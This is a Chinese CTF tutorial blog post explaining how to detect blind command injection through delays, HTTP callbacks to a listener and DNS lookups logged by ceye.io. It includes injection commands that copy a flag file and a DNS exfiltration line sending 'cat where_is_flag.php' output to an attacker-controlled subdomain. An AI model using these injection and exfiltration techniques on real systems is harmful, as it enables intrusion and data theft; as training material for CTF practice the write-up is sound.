公网ip判断_CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题

命令执行判断

命令执行可能会存在命令执行完没有回显,首先要判断命令是否有执行,可以通过三种方式来判断:延时、HTTP请求、DNS请求。

1、 延时

513ea019762e39029f14078886de5501.png

 无延时无回显

94233ae6cf0350f03b784c40686b1085.png有延时无回显

通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行。(”sleep 3”表示延时3秒)

2、 HTTP请求

目标机通过向公网可通信的机子发起http请求,而这个公网可通信的机子是我们可控的,则当该公网机子收到http请求就代表命令有执行。 例:我们在公网机上可以通过”nc -lv 端口号”来监听该端口,当目标机”curl 公网机ip:端口号”的时候,公网机的该端口可以发现有http请求过来。(注意:ping命令不产生http请求)

9f72b30b73a4d1d482a809071461b842.png

公网机进行8000端口监听

04cacd88c577a058695d0dcd73cffa5a.png

 目标机向公网机的8000端口发起http请求

adb6423b3c49cd624c32fc3d62fe34d9.png

 公网机监听中的8000端口收到http请求

95ec2e6dd4f9670870e98f9fd5644a83.png

 将”curl 公网机ip:端口号”命令拼接到地址中进行命令执行

fb87b8c9ee54fd28c6f2d424d6141a0e.png

 公网机监听中的8000端口收到http请求说明命令执行成功

3、 DNS请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)

例:大家可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录。

我这边得到的域名是wzrtbq.ceye.io,如果我去访问1111111. wzrtbq.ceye.io,那么就会记录下来这个域名解析请求。

de1b96a53b7178155996d501d8f93d04.png

 访问1111111. wzrtbq.ceye.io

0e6598a87ff82c292232a19cba750e05.png

 域名解析请求被记录

8d63dd974f644ea90b94c50f9ae7c493.png

 将访问域名拼接到地址中

e76892d2200cc7ad94234c159013cd5b.png

 域名解析请求被记录

利用

1、直接写入或外部下载shell执行命令

例:通过命令执行直接得到文件内容 

5fc67c80bfe011210d990907deb2f28e.png

生成1.txt拷贝

0d764969c42b91a13cd4ceb2c473544e.png

 访问1.txt

将”=cp where_is_flag.php 1.txt”做为参数传递给ping,然后就执行了” cp where_is_flag.php 1.txt”这个命令,生成1.txt文件,在去访问1.txt,就能得到1.txt的内容(也就是where_is_flag.php的内容),最后找到flag

2、通过http请求/dns请求等方式带出数据

例:通过dnslog带出数据

注意:1、命令执行时要避免空格,空格会导致空格后面的命令执行不到;2、将读取的文件命令用``包含起来;3、拼接的域名有长度限制。

b1c91fcf99c9b7221cbf7429219da7d0.png

读取where_is_flag.php:`cat where_is_flag.php`

7990fd42992dc2ea50e473e2626a71ff.png

 替换读取文件中的空格:`cat where_is_flag.php|sed s/[[:space:]]//`

61166fea8c66755f0aac9c2f835a3f21.png

拼接域名:`cat where_is_flag.php|sed s/[[:space:]]//`.wzrtbq.ceye.io

734137bb610161009bab729342018c15.png

 利用dnslog

774d52df888789ae237695c88eac0546.png

 得到文件内容(即得到了flag文件地址)

4f9a0b1601f579c70674a5ed6ad85b7b.png

 获取flag文件内容

d949d6adec2fe06a50a2808ef0cc6a82.png

 获取到flag

975bf944b9c577bed2d274cddd013c7d.gif
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值